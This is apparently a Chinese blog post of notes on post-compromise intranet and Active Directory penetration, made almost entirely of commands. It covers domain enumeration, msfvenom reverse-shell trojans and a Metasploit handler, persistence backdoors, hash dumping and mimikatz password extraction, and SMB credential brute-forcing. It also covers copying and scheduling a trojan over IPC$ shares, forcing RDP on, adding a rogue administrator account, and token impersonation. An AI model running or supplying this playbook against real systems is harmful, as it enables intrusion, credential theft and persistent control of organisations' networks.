内网渗透部分思路

内网渗透过程,不同于常规web渗透,对于初学者可能会感到无从下手。这里记录我初识内网渗透的一些思路与经验,部分来源于互联网。
在说到内网渗透,肯定需要你已经拿到某一服务器的shell作为前提,而且该shell要具有一定的权限,并以此横向扩展渗透面,继而拿下内网大部分权限。

0x01 域信息搜集

一般情况下域控在域的DNS服务器上,因为他要做一些域名解析的操作。但不排除分开安装的情况,可以使用ipconfig /all去获取DNS服务器地址一般也就是域控地址

以下某些指令需要当前主机域机器域用户才能进行操作。

net指令的信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
net user /domain
// 获取域用户列表
net group "domain admins" /domain
// 获取域管理员列表
net group "domain controllers" /domain
// 查看域控制器(可能有多台)
net group "domain computers" /domain
// 查看域机器
net group /domain
//查询域里面的组
net view
// 查看域内开共享的机器
net view \\ip
// 查看某一ip的共享内容
net view \\GHQ
// 查看GHQ机器的共享内容
net view /domain
// 查看内网存在多少个域
net view /domain:GOOD
// 查看GOOD域中的机器列表

使用nltest可以初步获取内网是否有域环境或是受信任域的一个关系

返回受信任域列表

1
2
nltest /domain_trusts /all_trusts /v /server:192.168.52.138
// /server后跟的是域控的ip

查询某一个域的详细信息,包括域控主机名

1
2
nltest /dsgetdc:GOOD /server:192.168.52.138
// /dsgetdc后跟域名 /server后跟域控ip

csvde可获取域用户域机器等信息

1
2
csvde -setspn good -f good.csv
// -setspn后跟域名 -f后跟导出的路径,导出文件为.csv格式

setspn获取域环境运行的服务与主机名端口号等,域环境中可以由域管通过主机名直接登录,当然也可以直接ping主机名也可以显示出对于的ip

1
2
3
4
setspn -T good -Q */*
// 获取所有服务
setspn -T good -Q */* | findstr SQL
// 检索数据库服务

dnsdump导出域机器与对应ip表,导出文件是一个名为records.csv文件

1
2
dnsdump -u good\iis_user -p red2020@2020 windows_iis -r
// dnsdump -u 域名\域用户 -p 域密码 域控机器名 -r

nbtscan扫描ip段域环境,可显示域机器对应ip以及域控

1
nbtscan 192.168.52.0/24

0x02 域渗透思路(也适合工作组环境)

一般流程

入口主机 -> 权限维持 -> 横向渗透 -> 拿到密码(域用户) -> 域信息搜集 -> 横向渗透 -> 接管域控

内网中可能有OA系统路由器防火墙工作组机器数据库服务器等等,在拿下入口主机可以选择把shell反弹至metasploit进行后续操作或者frpngrok穿透到本地也很方便。

metasploit内网渗透

当然metasploit木马免杀也是一门艺术,但篇幅有限。

生成木马,更多类型见:https://www.cnblogs.com/zlgxzswjy/p/6881904.html

1
2
3
4
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=x.x.x.x lport=7002 -f exe -o red.exe
// windows
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=x.x.x.x lport=7002 -f elf > shell.elf
// linux

被控制端执行木马后,控制端通过metasploit拿到远程shell

1
2
3
4
5
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost x.x.x.x
set lport 7002
run

persistence权限维持,建立持续后门

1
2
run persistence -S -U -X -i 5 -p 7005 -r 192.168.52.138
// 每5秒钟IP地址192.168.52.138的7005端口连接回监听器

初步信息搜集命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
run post/windows/gather/checkvm
// 是否虚拟机(windows)
run post/linux/gather/checkvm
// 是否虚拟机(linux)
run post/windows/gather/hashdump
// 获取系统密码hash
run post/windows/gather/forensics/enum_drives
// 查看分区
run post/windows/gather/enum_applications
// 获取安装软件信息
run post/windows/gather/dumplinks
// 获取最近的文件操作
run post/windows/gather/enum_ie
// 获取IE缓存
run post/windows/gather/enum_chrome
// 获取Chrome缓存
run post/windows/gather/enum_patches
// 补丁信息
run post/windows/gather/enum_domain
// 查找域控

查询内网网段信息,添加路由,路由查询

1
2
3
meterpreter > run get_local_subnets
meterpreter > run autoroute -s 192.168.52.0/24
meterpreter > run autoroute -p

利用mimikatz抓取内存密码,内网大概率会有一个密码走天下的情况

1
2
3
4
5
meterpreter > load mimikatz
meterpreter > msv
// 获取密码hash
meterpreter > kerberos
// 获取明文密码

portfwd端口转发,适用于需远程连接,或访问某些内网web服务等

1
2
3
4
5
6
7
8
meterpreter > portfwd add –l 7003 –p 3389 –r 192.168.52.138
// 添加转发 -l:服务器监听端口 -p:内网主机需转发端口 -r:目标内网主机ip
meterpreter > portfwd delete –l 3389 –p 3389 –r 172.16.194.191
// 删除转发
meterpreter > portfwd list
// 列出当前正在侦听和转发的端口列表
meterpreter > portfwd flush
// 移除所有转发端口

查看内网开启3389的服务器

1
2
3
use  auxiliary/scanner/rdp/rdp_scanner 
set rhosts 192.168.52.0/24
run

扫描smb登录

1
2
3
4
5
use     auxiliary/scanner/smb/smb_login
set RHOSTS 192.168.52.0/24
set SMBUser administrator
set SMBPass 12345678
run
横向渗透思路

通过一些通用漏洞或是弱口令

1
2
3
4
5
ms17_010等通用系统漏洞
rdb、smb、ssh、ftp、mysql、mssql、防火墙、路由器弱口令
redis未授权
jboss、st2、weblogic
致远oa、通达oa、泛微oa

ipc连接传马

1
2
3
4
5
6
net use \\192.168.52.138\IPC$
// 建立ipc连接
copy red.exe \\192.168.52.138\c$
// 将当前机器上的red.exe通过ipc传至192.168.52.138的c盘中,反之也可以下载
at \\192.168.52.138 13:35:00 C:\red.exe
// 设置13:35:00时运行192.168.52.138上的red.exe

lck端口转发

1
2
3
4
portmap -m 2 -p1 7004 -p2 7005
// linux监听端口
lcx.exe -slave 公网IP 7004 192.168.52.138 3389
// windows转发端口

开启3389端口

1
2
3
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
或者
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

创建管理员工作组帐号

1
2
3
4
net user red red2020@2020 /add
// 创建red用户
net localgroup Administrators red /add
// 将red用户添加到管理员组
域用户凭证窃取

当前机器为本地用户的时候,若遇到有域用户启用的进程,则可以凭证窃取

1
2
3
4
5
tasklist /v
// 查看进程用户
incognito.exe list_tokens -u
// 查看保存的凭证
incognito.exe execute -c "GOOD\Administrator" cmd.exe
Thank you very much if you can.

欢迎关注我的其它发布渠道